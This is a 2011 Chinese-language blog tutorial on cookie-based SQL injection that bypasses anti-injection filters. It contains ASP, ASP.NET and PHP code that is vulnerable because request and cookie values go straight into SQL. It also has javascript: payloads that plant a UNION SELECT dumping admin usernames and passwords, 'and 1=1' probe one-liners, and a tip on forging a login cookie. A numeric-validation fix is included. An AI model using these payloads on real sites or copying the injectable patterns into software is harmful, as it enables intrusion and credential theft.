//2011-11-23 星期三
//Cookie篇
/*
序
*/
讲起注入,就要从防住入说起,但防注入一般只对QueryString和Form做了防范,却忽略了Cookies,自然,注入就产生了,我们从实战出发。
//程序员思想
//Micropoor.asp代码片段
<%
//略
Set rsnews=Server.CreateObject("ADODB.RecordSet")
sql="update news set hits=hits+1 where id="&cstr(request("id"))
conn.execute sql
//略
%>
单纯的reuqest(),并没用指定是request.querystring(),还是request.form,或request.cookie ().
//我们的思想
[url]http://hi.baidu.com/micropoor/Micropoor.asp[/url]
javascript:alert(document.cookie="id="+escape("107 and 1=2 union select 1,username,password,4,5,6,7,8,9,10,11 from admin"))
//新闻也发言----Asp程序员要说话
Request.QueryString (GET) 或 Request.Form (POST)是用于读取用户发给WEB服务器的指定键中的值,但是往往,我们就写成了:ID=Request("ID")
于是今天的PHP安全新闻早8点也就产生了。
WEB服务先取GET中的数据,如果没有再取POST中的数据,还有Cookies中的数据.了解了这些,我们回头再看方注入系统。检测GET和POST中的数据(部分带有关键词,select and 等)
于是就出现了//我们的思想。
//站在Asp程序员考虑
如果程序员使用Request.QueryString或者Request.Form是无法利用Cookies绕过防注入系统进行注入的。服务程序是直截从GET或POST中读取数据的,Cookies是否有数据,服务程序是不处理的。
//新闻也发言----.Net程序员要说话
//程序员思想
//Micropoor.aspx代码片段
Response.Cookies["id"].Value = uid;
//COOKIES记录了用户的ID,当需要用到ID时,就通过用户搜索信息
if(Request.Cookies["id"]!=null)
{
id=Request.Cookies["id"].value;
string str="select * from userTable where id="+id;
//略
}
//我们的思想
Cookies["id"]的值改成Sql;实现COOKIES注入。
//站在.Net程序员考虑
加强对ID的过滤,这里对懒程序员说针对数字参数搞了一个类来判断是否为数字
if(Request.Cookies["id"]!=null)
{
uid=Request.Cookies["id"].value;
isnumeric cooidesID = new isnumeric();//这是一个类
if (cooidesID.reIsnumeric(ruid))//如果是数字就运行下面的
{
string str="select * from userTable where id="+id;
//略
}
}
//参考类:
public class isnumeric
{
public isnumeric()
{
//
// TODO: 在此处添加构造函数逻辑
//
}
public bool reIsnumeric(string num)
{
Regex IsN = new Regex(@"^\d+$");//这里使用正则表达式
bool reNum;
if (IsN.IsMatch(num))
{
reNum=true;
}
else
{
reNum=false;
}
return reNum;
}
}
//前台调用:
isnumeric InNum = new isnumeric();
if (InNum.reIsnumeric(id.ToString()))
{
//你的代码
}
else
{
Response.Redirect("Micropoorr.aspx");
Response.End();
}
//新闻也发言----Php程序员要说话
//程序员思想
//Micropoor.php代码片段
<?php
//略
if (!isset($_COOKIE['userid']) || empty($_COOKIE['userid'])){
setcookie(lastURL,get_url());//上次访问地址
header("Location: login.php");
}
?>
//我们的思想
通过cookie伪造userid=任意值。
//程序员思想
//Micropoor.php代码片段
<?php
$cookie = $_COOKIE[admin];
if (($cookie == "" OR $_GET[stop] == 1 OR !is_admin($cookie)) && $_GET[op] != "login"&& $_GET[op] != "logout") {
include("../templates/wr_header.php");
echo "Enter admin username and password to log in";
//略
?>
//新闻也学习
//判断cookies注入的js语句
javascript:alert(document.cookie="参数= "+escape("参数值 and 1=1"));self.open("http://+"document.location.host+document.location.pathname);void(0);
javascript:alert(document.cookie="参数="+escape("参数值 and 1=2"));self.open("http://+"document.location.host+document.location.pathname);void(0);